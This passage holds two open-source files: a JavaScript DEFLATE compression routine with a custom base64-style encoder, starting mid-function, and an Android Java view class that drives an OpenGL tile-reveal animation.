zip_initflag = true;
if (zip_lookahead == 0) { // empty
zip_complete = true;
return 0;
}
}
if ((n = zip_qcopy(buff, off, buff_size)) == buff_size)
return buff_size;
if (zip_complete)
return n;
if (zip_compr_level <= 3) // optimized for speed
zip_deflate_fast();
else
zip_deflate_better();
if (zip_lookahead == 0) {
if (zip_match_available != 0)
zip_ct_tally(0, zip_window[zip_strstart - 1] & 0xff);
zip_flush_block(1);
zip_complete = true;
}
return n + zip_qcopy(buff, n + off, buff_size - n);
}
function zip_qcopy(buff, off, buff_size) {
var n, i, j;
n = 0;
while (zip_qhead != null && n < buff_size) {
i = buff_size - n;
if (i > zip_qhead.len)
i = zip_qhead.len;
// System.arraycopy(qhead.ptr, qhead.off, buff, off + n, i);
for (j = 0; j < i; j++)
buff[off + n + j] = zip_qhead.ptr[zip_qhead.off + j];
zip_qhead.off += i;
zip_qhead.len -= i;
n += i;
if (zip_qhead.len == 0) {
var p;
p = zip_qhead;
zip_qhead = zip_qhead.next;
zip_reuse_queue(p);
}
}
if (n == buff_size)
return n;
if (zip_outoff < zip_outcnt) {
i = buff_size - n;
if (i > zip_outcnt - zip_outoff)
i = zip_outcnt - zip_outoff;
// System.arraycopy(outbuf, outoff, buff, off + n, i);
for (j = 0; j < i; j++)
buff[off + n + j] = zip_outbuf[zip_outoff + j];
zip_outoff += i;
n += i;
if (zip_outcnt == zip_outoff)
zip_outcnt = zip_outoff = 0;
}
return n;
}
/* ==========================================================================
* Allocate the match buffer, initialize the various tables and save the
* location of the internal file attribute (ascii/binary) and method
* (DEFLATE/STORE).
*/
function zip_ct_init() {
var n; // iterates over tree elements
var bits; // bit counter
var length; // length value
var code; // code value
var dist; // distance index
if (zip_static_dtree[0].dl != 0) return; // ct_init already called
zip_l_desc.dyn_tree = zip_dyn_ltree;
zip_l_desc.static_tree = zip_static_ltree;
zip_l_desc.extra_bits = zip_extra_lbits;
zip_l_desc.extra_base = zip_LITERALS + 1;
zip_l_desc.elems = zip_L_CODES;
zip_l_desc.max_length = zip_MAX_BITS;
zip_l_desc.max_code = 0;
zip_d_desc.dyn_tree = zip_dyn_dtree;
zip_d_desc.static_tree = zip_static_dtree;
zip_d_desc.extra_bits = zip_extra_dbits;
zip_d_desc.extra_base = 0;
zip_d_desc.elems = zip_D_CODES;
zip_d_desc.max_length = zip_MAX_BITS;
zip_d_desc.max_code = 0;
zip_bl_desc.dyn_tree = zip_bl_tree;
zip_bl_desc.static_tree = null;
zip_bl_desc.extra_bits = zip_extra_blbits;
zip_bl_desc.extra_base = 0;
zip_bl_desc.elems = zip_BL_CODES;
zip_bl_desc.max_length = zip_MAX_BL_BITS;
zip_bl_desc.max_code = 0;
// Initialize the mapping length (0..255) -> length code (0..28)
length = 0;
for (code = 0; code < zip_LENGTH_CODES - 1; code++) {
zip_base_length[code] = length;
for (n = 0; n < (1 << zip_extra_lbits[code]); n++)
zip_length_code[length++] = code;
}
// Assert (length == 256, "ct_init: length != 256");
/* Note that the length 255 (match length 258) can be represented
* in two different ways: code 284 + 5 bits or code 285, so we
* overwrite length_code[255] to use the best encoding:
*/
zip_length_code[length - 1] = code;
/* Initialize the mapping dist (0..32K) -> dist code (0..29) */
dist = 0;
for (code = 0; code < 16; code++) {
zip_base_dist[code] = dist;
for (n = 0; n < (1 << zip_extra_dbits[code]); n++) {
zip_dist_code[dist++] = code;
}
}
// Assert (dist == 256, "ct_init: dist != 256");
dist >>= 7; // from now on, all distances are divided by 128
for (; code < zip_D_CODES; code++) {
zip_base_dist[code] = dist << 7;
for (n = 0; n < (1 << (zip_extra_dbits[code] - 7)); n++)
zip_dist_code[256 + dist++] = code;
}
// Assert (dist == 256, "ct_init: 256+dist != 512");
// Construct the codes of the static literal tree
for (bits = 0; bits <= zip_MAX_BITS; bits++)
zip_bl_count[bits] = 0;
n = 0;
while (n <= 143) {
zip_static_ltree[n++].dl = 8;
zip_bl_count[8]++;
}
while (n <= 255) {
zip_static_ltree[n++].dl = 9;
zip_bl_count[9]++;
}
while (n <= 279) {
zip_static_ltree[n++].dl = 7;
zip_bl_count[7]++;
}
while (n <= 287) {
zip_static_ltree[n++].dl = 8;
zip_bl_count[8]++;
}
/* Codes 286 and 287 do not exist, but we must include them in the
* tree construction to get a canonical Huffman tree (longest code
* all ones)
*/
zip_gen_codes(zip_static_ltree, zip_L_CODES + 1);
/* The static distance tree is trivial: */
for (n = 0; n < zip_D_CODES; n++) {
zip_static_dtree[n].dl = 5;
zip_static_dtree[n].fc = zip_bi_reverse(n, 5);
}
// Initialize the first block of the first file:
zip_init_block();
}
/* ==========================================================================
* Initialize a new block.
*/
function zip_init_block() {
var n; // iterates over tree elements
// Initialize the trees.
for (n = 0; n < zip_L_CODES; n++) zip_dyn_ltree[n].fc = 0;
for (n = 0; n < zip_D_CODES; n++) zip_dyn_dtree[n].fc = 0;
for (n = 0; n < zip_BL_CODES; n++) zip_bl_tree[n].fc = 0;
zip_dyn_ltree[zip_END_BLOCK].fc = 1;
zip_opt_len = zip_static_len = 0;
zip_last_lit = zip_last_dist = zip_last_flags = 0;
zip_flags = 0;
zip_flag_bit = 1;
}
/* ==========================================================================
* Restore the heap property by moving down the tree starting at node k,
* exchanging a node with the smallest of its two sons if necessary, stopping
* when the heap property is re-established (each father smaller than its
* two sons).
*/
function zip_pqdownheap(
tree, // the tree to restore
k) { // node to move down
var v = zip_heap[k];
var j = k << 1; // left son of k
while (j <= zip_heap_len) {
// Set j to the smallest of the two sons:
if (j < zip_heap_len &&
zip_SMALLER(tree, zip_heap[j + 1], zip_heap[j]))
j++;
// Exit if v is smaller than both sons
if (zip_SMALLER(tree, v, zip_heap[j]))
break;
// Exchange v with the smallest son
zip_heap[k] = zip_heap[j];
k = j;
// And continue down the tree, setting j to the left son of k
j <<= 1;
}
zip_heap[k] = v;
}
/* ==========================================================================
* Compute the optimal bit lengths for a tree and update the total bit length
* for the current block.
* IN assertion: the fields freq and dad are set, heap[heap_max] and
* above are the tree nodes sorted by increasing frequency.
* OUT assertions: the field len is set to the optimal bit length, the
* array bl_count contains the frequencies for each bit length.
* The length opt_len is updated; static_len is also updated if stree is
* not null.
*/
function zip_gen_bitlen(desc) { // the tree descriptor
var tree = desc.dyn_tree;
var extra = desc.extra_bits;
var base = desc.extra_base;
var max_code = desc.max_code;
var max_length = desc.max_length;
var stree = desc.static_tree;
var h; // heap index
var n, m; // iterate over the tree elements
var bits; // bit length
var xbits; // extra bits
var f; // frequency
var overflow = 0; // number of elements with bit length too large
for (bits = 0; bits <= zip_MAX_BITS; bits++)
zip_bl_count[bits] = 0;
/* In a first pass, compute the optimal bit lengths (which may
* overflow in the case of the bit length tree).
*/
tree[zip_heap[zip_heap_max]].dl = 0; // root of the heap
for (h = zip_heap_max + 1; h < zip_HEAP_SIZE; h++) {
n = zip_heap[h];
bits = tree[tree[n].dl].dl + 1;
if (bits > max_length) {
bits = max_length;
overflow++;
}
tree[n].dl = bits;
// We overwrite tree[n].dl which is no longer needed
if (n > max_code)
continue; // not a leaf node
zip_bl_count[bits]++;
xbits = 0;
if (n >= base)
xbits = extra[n - base];
f = tree[n].fc;
zip_opt_len += f * (bits + xbits);
if (stree != null)
zip_static_len += f * (stree[n].dl + xbits);
}
if (overflow == 0)
return;
// This happens for example on obj2 and pic of the Calgary corpus
// Find the first bit length which could increase:
do {
bits = max_length - 1;
while (zip_bl_count[bits] == 0)
bits--;
zip_bl_count[bits]--; // move one leaf down the tree
zip_bl_count[bits + 1] += 2; // move one overflow item as its brother
zip_bl_count[max_length]--;
/* The brother of the overflow item also moves one step up,
* but this does not affect bl_count[max_length]
*/
overflow -= 2;
} while (overflow > 0);
/* Now recompute all bit lengths, scanning in increasing frequency.
* h is still equal to HEAP_SIZE. (It is simpler to reconstruct all
* lengths instead of fixing only the wrong ones. This idea is taken
* from 'ar' written by Haruhiko Okumura.)
*/
for (bits = max_length; bits != 0; bits--) {
n = zip_bl_count[bits];
while (n != 0) {
m = zip_heap[--h];
if (m > max_code)
continue;
if (tree[m].dl != bits) {
zip_opt_len += (bits - tree[m].dl) * tree[m].fc;
tree[m].fc = bits;
}
n--;
}
}
}
/* ==========================================================================
* Generate the codes for a given tree and bit counts (which need not be
* optimal).
* IN assertion: the array bl_count contains the bit length statistics for
* the given tree and the field len is set for all tree elements.
* OUT assertion: the field code is set for all tree elements of non
* zero code length.
*/
function zip_gen_codes(tree, // the tree to decorate
max_code) { // largest code with non zero frequency
var next_code = new Array(zip_MAX_BITS + 1); // next code value for each bit length
var code = 0; // running code value
var bits; // bit index
var n; // code index
/* The distribution counts are first used to generate the code values
* without bit reversal.
*/
for (bits = 1; bits <= zip_MAX_BITS; bits++) {
code = ((code + zip_bl_count[bits - 1]) << 1);
next_code[bits] = code;
}
/* Check that the bit counts in bl_count are consistent. The last code
* must be all ones.
*/
// Assert (code + encoder->bl_count[MAX_BITS]-1 == (1<<MAX_BITS)-1,
// "inconsistent bit counts");
// Tracev((stderr,"\ngen_codes: max_code %d ", max_code));
for (n = 0; n <= max_code; n++) {
var len = tree[n].dl;
if (len == 0)
continue;
// Now reverse the bits
tree[n].fc = zip_bi_reverse(next_code[len]++, len);
// Tracec(tree != static_ltree, (stderr,"\nn %3d %c l %2d c %4x (%x) ",
// n, (isgraph(n) ? n : ' '), len, tree[n].fc, next_code[len]-1));
}
}
/* ==========================================================================
* Construct one Huffman tree and assigns the code bit strings and lengths.
* Update the total bit length for the current block.
* IN assertion: the field freq is set for all tree elements.
* OUT assertions: the fields len and code are set to the optimal bit length
* and corresponding code. The length opt_len is updated; static_len is
* also updated if stree is not null. The field max_code is set.
*/
function zip_build_tree(desc) { // the tree descriptor
var tree = desc.dyn_tree;
var stree = desc.static_tree;
var elems = desc.elems;
var n, m; // iterate over heap elements
var max_code = -1; // largest code with non zero frequency
var node = elems; // next internal node of the tree
/* Construct the initial heap, with least frequent element in
* heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
* heap[0] is not used.
*/
zip_heap_len = 0;
zip_heap_max = zip_HEAP_SIZE;
for (n = 0; n < elems; n++) {
if (tree[n].fc != 0) {
zip_heap[++zip_heap_len] = max_code = n;
zip_depth[n] = 0;
} else
tree[n].dl = 0;
}
/* The pkzip format requires that at least one distance code exists,
* and that at least one bit should be sent even if there is only one
* possible code. So to avoid special checks later on we force at least
* two codes of non zero frequency.
*/
while (zip_heap_len < 2) {
var xnew = zip_heap[++zip_heap_len] = (max_code < 2 ? ++max_code : 0);
tree[xnew].fc = 1;
zip_depth[xnew] = 0;
zip_opt_len--;
if (stree != null)
zip_static_len -= stree[xnew].dl;
// new is 0 or 1 so it does not have extra bits
}
desc.max_code = max_code;
/* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
* establish sub-heaps of increasing lengths:
*/
for (n = zip_heap_len >> 1; n >= 1; n--)
zip_pqdownheap(tree, n);
/* Construct the Huffman tree by repeatedly combining the least two
* frequent nodes.
*/
do {
n = zip_heap[zip_SMALLEST];
zip_heap[zip_SMALLEST] = zip_heap[zip_heap_len--];
zip_pqdownheap(tree, zip_SMALLEST);
m = zip_heap[zip_SMALLEST]; // m = node of next least frequency
// keep the nodes sorted by frequency
zip_heap[--zip_heap_max] = n;
zip_heap[--zip_heap_max] = m;
// Create a new node father of n and m
tree[node].fc = tree[n].fc + tree[m].fc;
// depth[node] = (char)(MAX(depth[n], depth[m]) + 1);
if (zip_depth[n] > zip_depth[m] + 1)
zip_depth[node] = zip_depth[n];
else
zip_depth[node] = zip_depth[m] + 1;
tree[n].dl = tree[m].dl = node;
// and insert the new node in the heap
zip_heap[zip_SMALLEST] = node++;
zip_pqdownheap(tree, zip_SMALLEST);
} while (zip_heap_len >= 2);
zip_heap[--zip_heap_max] = zip_heap[zip_SMALLEST];
/* At this point, the fields freq and dad are set. We can now
* generate the bit lengths.
*/
zip_gen_bitlen(desc);
// The field len is now set, we can generate the bit codes
zip_gen_codes(tree, max_code);
}
/* ==========================================================================
* Scan a literal or distance tree to determine the frequencies of the codes
* in the bit length tree. Updates opt_len to take into account the repeat
* counts. (The contribution of the bit length codes will be added later
* during the construction of bl_tree.)
*/
function zip_scan_tree(tree, // the tree to be scanned
max_code) { // and its largest code of non zero frequency
var n; // iterates over all tree elements
var prevlen = -1; // last emitted length
var curlen; // length of current code
var nextlen = tree[0].dl; // length of next code
var count = 0; // repeat count of the current code
var max_count = 7; // max repeat count
var min_count = 4; // min repeat count
if (nextlen == 0) {
max_count = 138;
min_count = 3;
}
tree[max_code + 1].dl = 0xffff; // guard
for (n = 0; n <= max_code; n++) {
curlen = nextlen;
nextlen = tree[n + 1].dl;
if (++count < max_count && curlen == nextlen)
continue;
else if (count < min_count)
zip_bl_tree[curlen].fc += count;
else if (curlen != 0) {
if (curlen != prevlen)
zip_bl_tree[curlen].fc++;
zip_bl_tree[zip_REP_3_6].fc++;
} else if (count <= 10)
zip_bl_tree[zip_REPZ_3_10].fc++;
else
zip_bl_tree[zip_REPZ_11_138].fc++;
count = 0;
prevlen = curlen;
if (nextlen == 0) {
max_count = 138;
min_count = 3;
} else if (curlen == nextlen) {
max_count = 6;
min_count = 3;
} else {
max_count = 7;
min_count = 4;
}
}
}
/* ==========================================================================
* Send a literal or distance tree in compressed form, using the codes in
* bl_tree.
*/
function zip_send_tree(tree, // the tree to be scanned
max_code) { // and its largest code of non zero frequency
var n; // iterates over all tree elements
var prevlen = -1; // last emitted length
var curlen; // length of current code
var nextlen = tree[0].dl; // length of next code
var count = 0; // repeat count of the current code
var max_count = 7; // max repeat count
var min_count = 4; // min repeat count
/* tree[max_code+1].dl = -1; */
/* guard already set */
if (nextlen == 0) {
max_count = 138;
min_count = 3;
}
for (n = 0; n <= max_code; n++) {
curlen = nextlen;
nextlen = tree[n + 1].dl;
if (++count < max_count && curlen == nextlen) {
continue;
} else if (count < min_count) {
do {
zip_SEND_CODE(curlen, zip_bl_tree);
} while (--count != 0);
} else if (curlen != 0) {
if (curlen != prevlen) {
zip_SEND_CODE(curlen, zip_bl_tree);
count--;
}
// Assert(count >= 3 && count <= 6, " 3_6?");
zip_SEND_CODE(zip_REP_3_6, zip_bl_tree);
zip_send_bits(count - 3, 2);
} else if (count <= 10) {
zip_SEND_CODE(zip_REPZ_3_10, zip_bl_tree);
zip_send_bits(count - 3, 3);
} else {
zip_SEND_CODE(zip_REPZ_11_138, zip_bl_tree);
zip_send_bits(count - 11, 7);
}
count = 0;
prevlen = curlen;
if (nextlen == 0) {
max_count = 138;
min_count = 3;
} else if (curlen == nextlen) {
max_count = 6;
min_count = 3;
} else {
max_count = 7;
min_count = 4;
}
}
}
/* ==========================================================================
* Construct the Huffman tree for the bit lengths and return the index in
* bl_order of the last bit length code to send.
*/
function zip_build_bl_tree() {
var max_blindex; // index of last bit length code of non zero freq
// Determine the bit length frequencies for literal and distance trees
zip_scan_tree(zip_dyn_ltree, zip_l_desc.max_code);
zip_scan_tree(zip_dyn_dtree, zip_d_desc.max_code);
// Build the bit length tree:
zip_build_tree(zip_bl_desc);
/* opt_len now includes the length of the tree representations, except
* the lengths of the bit lengths codes and the 5+5+4 bits for the counts.
*/
/* Determine the number of bit length codes to send. The pkzip format
* requires that at least 4 bit length codes be sent. (appnote.txt says
* 3 but the actual value used is 4.)
*/
for (max_blindex = zip_BL_CODES - 1; max_blindex >= 3; max_blindex--) {
if (zip_bl_tree[zip_bl_order[max_blindex]].dl != 0) break;
}
/* Update opt_len to include the bit length tree and counts */
zip_opt_len += 3 * (max_blindex + 1) + 5 + 5 + 4;
// Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld",
// encoder->opt_len, encoder->static_len));
return max_blindex;
}
/* ==========================================================================
* Send the header for a block using dynamic Huffman trees: the counts, the
* lengths of the bit length codes, the literal tree and the distance tree.
* IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.
*/
function zip_send_all_trees(lcodes, dcodes, blcodes) { // number of codes for each tree
var rank; // index in bl_order
// Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes");
// Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,
// "too many codes");
// Tracev((stderr, "\nbl counts: "));
zip_send_bits(lcodes - 257, 5); // not +255 as stated in appnote.txt
zip_send_bits(dcodes - 1, 5);
zip_send_bits(blcodes - 4, 4); // not -3 as stated in appnote.txt
for (rank = 0; rank < blcodes; rank++) {
// Tracev((stderr, "\nbl code %2d ", bl_order[rank]));
zip_send_bits(zip_bl_tree[zip_bl_order[rank]].dl, 3);
}
// send the literal tree
zip_send_tree(zip_dyn_ltree, lcodes - 1);
// send the distance tree
zip_send_tree(zip_dyn_dtree, dcodes - 1);
}
/* ==========================================================================
* Determine the best encoding for the current block: dynamic trees, static
* trees or store, and output the encoded block to the zip file.
*/
function zip_flush_block(eof) { // true if this is the last block for a file
var opt_lenb, static_lenb; // opt_len and static_len in bytes
var max_blindex; // index of last bit length code of non zero freq
var stored_len; // length of input block
stored_len = zip_strstart - zip_block_start;
zip_flag_buf[zip_last_flags] = zip_flags; // Save the flags for the last 8 items
// Construct the literal and distance trees
zip_build_tree(zip_l_desc);
// Tracev((stderr, "\nlit data: dyn %ld, stat %ld",
// encoder->opt_len, encoder->static_len));
zip_build_tree(zip_d_desc);
// Tracev((stderr, "\ndist data: dyn %ld, stat %ld",
// encoder->opt_len, encoder->static_len));
/* At this point, opt_len and static_len are the total bit lengths of
* the compressed block data, excluding the tree representations.
*/
/* Build the bit length tree for the above two trees, and get the index
* in bl_order of the last bit length code to send.
*/
max_blindex = zip_build_bl_tree();
// Determine the best encoding. Compute first the block length in bytes
opt_lenb = (zip_opt_len + 3 + 7) >> 3;
static_lenb = (zip_static_len + 3 + 7) >> 3;
// Trace((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u dist %u ",
// opt_lenb, encoder->opt_len,
// static_lenb, encoder->static_len, stored_len,
// encoder->last_lit, encoder->last_dist));
if (static_lenb <= opt_lenb)
opt_lenb = static_lenb;
if (stored_len + 4 <= opt_lenb // 4: two words for the lengths
&&
zip_block_start >= 0) {
var i;
/* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.
* Otherwise we can't have processed more than WSIZE input bytes since
* the last block flush, because compression would have been
* successful. If LIT_BUFSIZE <= WSIZE, it is never too late to
* transform a block into a stored block.
*/
zip_send_bits((zip_STORED_BLOCK << 1) + eof, 3); /* send block type */
zip_bi_windup(); /* align on byte boundary */
zip_put_short(stored_len);
zip_put_short(~stored_len);
// copy block
/*
p = &window[block_start];
for(i = 0; i < stored_len; i++)
put_byte(p[i]);
*/
for (i = 0; i < stored_len; i++)
zip_put_byte(zip_window[zip_block_start + i]);
} else if (static_lenb == opt_lenb) {
zip_send_bits((zip_STATIC_TREES << 1) + eof, 3);
zip_compress_block(zip_static_ltree, zip_static_dtree);
} else {
zip_send_bits((zip_DYN_TREES << 1) + eof, 3);
zip_send_all_trees(zip_l_desc.max_code + 1,
zip_d_desc.max_code + 1,
max_blindex + 1);
zip_compress_block(zip_dyn_ltree, zip_dyn_dtree);
}
zip_init_block();
if (eof != 0)
zip_bi_windup();
}
/* ==========================================================================
* Save the match info and tally the frequency counts. Return true if
* the current block must be flushed.
*/
function zip_ct_tally(
dist, // distance of matched string
lc) { // match length-MIN_MATCH or unmatched char (if dist==0)
zip_l_buf[zip_last_lit++] = lc;
if (dist == 0) {
// lc is the unmatched char
zip_dyn_ltree[lc].fc++;
} else {
// Here, lc is the match length - MIN_MATCH
dist--; // dist = match distance - 1
// Assert((ush)dist < (ush)MAX_DIST &&
// (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) &&
// (ush)D_CODE(dist) < (ush)D_CODES, "ct_tally: bad match");
zip_dyn_ltree[zip_length_code[lc] + zip_LITERALS + 1].fc++;
zip_dyn_dtree[zip_D_CODE(dist)].fc++;
zip_d_buf[zip_last_dist++] = dist;
zip_flags |= zip_flag_bit;
}
zip_flag_bit <<= 1;
// Output the flags if they fill a byte
if ((zip_last_lit & 7) == 0) {
zip_flag_buf[zip_last_flags++] = zip_flags;
zip_flags = 0;
zip_flag_bit = 1;
}
// Try to guess if it is profitable to stop the current block here
if (zip_compr_level > 2 && (zip_last_lit & 0xfff) == 0) {
// Compute an upper bound for the compressed length
var out_length = zip_last_lit * 8;
var in_length = zip_strstart - zip_block_start;
var dcode;
for (dcode = 0; dcode < zip_D_CODES; dcode++) {
out_length += zip_dyn_dtree[dcode].fc * (5 + zip_extra_dbits[dcode]);
}
out_length >>= 3;
// Trace((stderr,"\nlast_lit %u, last_dist %u, in %ld, out ~%ld(%ld%%) ",
// encoder->last_lit, encoder->last_dist, in_length, out_length,
// 100L - out_length*100L/in_length));
if (zip_last_dist < parseInt(zip_last_lit / 2) &&
out_length < parseInt(in_length / 2))
return true;
}
return (zip_last_lit == zip_LIT_BUFSIZE - 1 ||
zip_last_dist == zip_DIST_BUFSIZE);
/* We avoid equality with LIT_BUFSIZE because of wraparound at 64K
* on 16 bit machines and because stored blocks are restricted to
* 64K-1 bytes.
*/
}
/* ==========================================================================
* Send the block data compressed using the given Huffman trees
*/
function zip_compress_block(
ltree, // literal tree
dtree) { // distance tree
var dist; // distance of matched string
var lc; // match length or unmatched char (if dist == 0)
var lx = 0; // running index in l_buf
var dx = 0; // running index in d_buf
var fx = 0; // running index in flag_buf
var flag = 0; // current flags
var code; // the code to send
var extra; // number of extra bits to send
if (zip_last_lit != 0)
do {
if ((lx & 7) == 0)
flag = zip_flag_buf[fx++];
lc = zip_l_buf[lx++] & 0xff;
if ((flag & 1) == 0) {
zip_SEND_CODE(lc, ltree); /* send a literal byte */
// Tracecv(isgraph(lc), (stderr," '%c' ", lc));
} else {
// Here, lc is the match length - MIN_MATCH
code = zip_length_code[lc];
zip_SEND_CODE(code + zip_LITERALS + 1, ltree); // send the length code
extra = zip_extra_lbits[code];
if (extra != 0) {
lc -= zip_base_length[code];
zip_send_bits(lc, extra); // send the extra length bits
}
dist = zip_d_buf[dx++];
// Here, dist is the match distance - 1
code = zip_D_CODE(dist);
// Assert (code < D_CODES, "bad d_code");
zip_SEND_CODE(code, dtree); // send the distance code
extra = zip_extra_dbits[code];
if (extra != 0) {
dist -= zip_base_dist[code];
zip_send_bits(dist, extra); // send the extra distance bits
}
} // literal or match pair ?
flag >>= 1;
} while (lx < zip_last_lit);
zip_SEND_CODE(zip_END_BLOCK, ltree);
}
/* ==========================================================================
* Send a value on a given number of bits.
* IN assertion: length <= 16 and value fits in length bits.
*/
var zip_Buf_size = 16; // bit size of bi_buf
function zip_send_bits(
value, // value to send
length) { // number of bits
/* If not enough room in bi_buf, use (valid) bits from bi_buf and
* (16 - bi_valid) bits from value, leaving (width - (16-bi_valid))
* unused bits in value.
*/
if (zip_bi_valid > zip_Buf_size - length) {
zip_bi_buf |= (value << zip_bi_valid);
zip_put_short(zip_bi_buf);
zip_bi_buf = (value >> (zip_Buf_size - zip_bi_valid));
zip_bi_valid += length - zip_Buf_size;
} else {
zip_bi_buf |= value << zip_bi_valid;
zip_bi_valid += length;
}
}
/* ==========================================================================
* Reverse the first len bits of a code, using straightforward code (a faster
* method would use a table)
* IN assertion: 1 <= len <= 15
*/
function zip_bi_reverse(
code, // the value to invert
len) { // its bit length
var res = 0;
do {
res |= code & 1;
code >>= 1;
res <<= 1;
} while (--len > 0);
return res >> 1;
}
/* ==========================================================================
* Write out any remaining bits in an incomplete byte.
*/
function zip_bi_windup() {
if (zip_bi_valid > 8) {
zip_put_short(zip_bi_buf);
} else if (zip_bi_valid > 0) {
zip_put_byte(zip_bi_buf);
}
zip_bi_buf = 0;
zip_bi_valid = 0;
}
function zip_qoutbuf() {
if (zip_outcnt != 0) {
var q, i;
q = zip_new_queue();
if (zip_qhead == null)
zip_qhead = zip_qtail = q;
else
zip_qtail = zip_qtail.next = q;
q.len = zip_outcnt - zip_outoff;
// System.arraycopy(zip_outbuf, zip_outoff, q.ptr, 0, q.len);
for (i = 0; i < q.len; i++)
q.ptr[i] = zip_outbuf[zip_outoff + i];
zip_outcnt = zip_outoff = 0;
}
}
function zip_deflate(str, level) {
var out, buff;
var i, j;
zip_deflate_data = str;
zip_deflate_pos = 0;
if (typeof level == "undefined")
level = zip_DEFAULT_LEVEL;
zip_deflate_start(level);
buff = new Array(1024);
out = "";
while ((i = zip_deflate_internal(buff, 0, buff.length)) > 0) {
for (j = 0; j < i; j++)
out += String.fromCharCode(buff[j]);
}
zip_deflate_data = null; // G.C.
return out;
}
function GID(id) {
return document.getElementById(id)
};
function encode64(data) {
let r = "";
for (let i = 0; i < data.length; i += 3) {
if (i + 2 == data.length) {
r += append3bytes(data.charCodeAt(i), data.charCodeAt(i + 1), 0);
} else if (i + 1 == data.length) {
r += append3bytes(data.charCodeAt(i), 0, 0);
} else {
r += append3bytes(data.charCodeAt(i), data.charCodeAt(i + 1), data.charCodeAt(i + 2));
}
}
return r;
}
function append3bytes(b1, b2, b3) {
let c1 = b1 >> 2;
let c2 = ((b1 & 0x3) << 4) | (b2 >> 4);
let c3 = ((b2 & 0xF) << 2) | (b3 >> 6);
let c4 = b3 & 0x3F;
let r = "";
r += encode6bit(c1 & 0x3F);
r += encode6bit(c2 & 0x3F);
r += encode6bit(c3 & 0x3F);
r += encode6bit(c4 & 0x3F);
return r;
}
function encode6bit(b) {
if (b < 10) {
return String.fromCharCode(48 + b);
}
b -= 10;
if (b < 26) {
return String.fromCharCode(65 + b);
}
b -= 26;
if (b < 26) {
return String.fromCharCode(97 + b);
}
b -= 26;
if (b == 0) {
return '-';
}
if (b == 1) {
return '_';
}
return '?';
}
exports.encode64 = encode64;
exports.zipDeflate = zip_deflate; | {
"pile_set_name": "Github"
} |
package com.yalantis.starwars;
import android.annotation.TargetApi;
import android.app.ActivityManager;
import android.content.Context;
import android.content.pm.ConfigurationInfo;
import android.content.res.TypedArray;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.PixelFormat;
import android.opengl.GLSurfaceView;
import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import android.util.AttributeSet;
import android.widget.FrameLayout;
import com.yalantis.starwars.interfaces.TilesFrameLayoutListener;
import com.yalantis.starwars.render.StarWarsRenderer;
import com.yalantis.starwars.widget.StarWarsTilesGLSurfaceView;
/**
* Created by Artem Kholodnyi on 11/9/15.
*/
public class TilesFrameLayout extends FrameLayout {
private StarWarsTilesGLSurfaceView mGLSurfaceView;
private StarWarsRenderer mRenderer;
private TilesFrameLayoutListener mListener;
private int mAnimationDuration;
private int mNumberOfTilesX;
public TilesFrameLayout(Context context) {
super(context);
init(context, null, 0);
}
public TilesFrameLayout(Context context, AttributeSet attrs) {
super(context, attrs);
init(context, attrs, 0);
}
public TilesFrameLayout(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init(context, attrs, defStyleAttr);
}
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
public TilesFrameLayout(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
super(context, attrs, defStyleAttr, defStyleRes);
init(context, attrs, defStyleAttr);
}
private void init(Context context, AttributeSet attrs, int defStyle) {
TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.sw_StarWarsTilesFrameLayout, defStyle, 0);
mAnimationDuration = a.getInt(R.styleable.sw_StarWarsTilesFrameLayout_sw_animationDuration, 1500);
mNumberOfTilesX = a.getInt(R.styleable.sw_StarWarsTilesFrameLayout_sw_numberOfTilesX, 35);
a.recycle();
initGlSurfaceView();
}
@Override
protected void onFinishInflate() {
super.onFinishInflate();
addView(mGLSurfaceView);
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
}
private void initGlSurfaceView() {
mGLSurfaceView = new StarWarsTilesGLSurfaceView(getContext());
mGLSurfaceView.setBackgroundColor(Color.TRANSPARENT);
// Check if the system supports OpenGL ES 2.0.
final ActivityManager activityManager = (ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE);
final ConfigurationInfo configurationInfo = activityManager.getDeviceConfigurationInfo();
final boolean supportsEs2 = configurationInfo.reqGlEsVersion >= 0x20000;
if (supportsEs2) {
// Request an OpenGL ES 2.0 compatible context.
mGLSurfaceView.setEGLContextClientVersion(2);
mRenderer = new StarWarsRenderer(mGLSurfaceView, this, mAnimationDuration, mNumberOfTilesX);
mGLSurfaceView.setEGLConfigChooser(8, 8, 8, 8, 16, 0);
mGLSurfaceView.getHolder().setFormat(PixelFormat.TRANSPARENT);
mGLSurfaceView.setRenderer(mRenderer);
mGLSurfaceView.setRenderMode(GLSurfaceView.RENDERMODE_WHEN_DIRTY);
mGLSurfaceView.setZOrderOnTop(true);
} else {
throw new UnsupportedOperationException();
}
}
public void startAnimation() {
drawToTexture();
}
private void drawToTexture() {
Bitmap bitmap = Bitmap.createBitmap(getWidth(), getHeight(), Bitmap.Config.ARGB_4444);
Canvas canvas = new Canvas(bitmap);
super.draw(canvas);
mRenderer.updateTexture(bitmap);
}
public void reveal() {
mGLSurfaceView.queueEvent(new Runnable() {
@Override
public void run() {
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
mRenderer.startAnimation();
removeViewAt(0);
}
});
}
});
}
@Override
protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
super.onLayout(changed, left, top, right, bottom);
}
public void onResume() {
mGLSurfaceView.onResume();
}
public void onPause() {
mGLSurfaceView.onPause();
}
public void onAnimationFinished() {
if (mListener != null) {
mListener.onAnimationFinished();
}
}
public void setOnAnimationFinishedListener(TilesFrameLayoutListener listener) {
this.mListener = listener;
}
}
| {
"pile_set_name": "Github"
} |
"use strict";
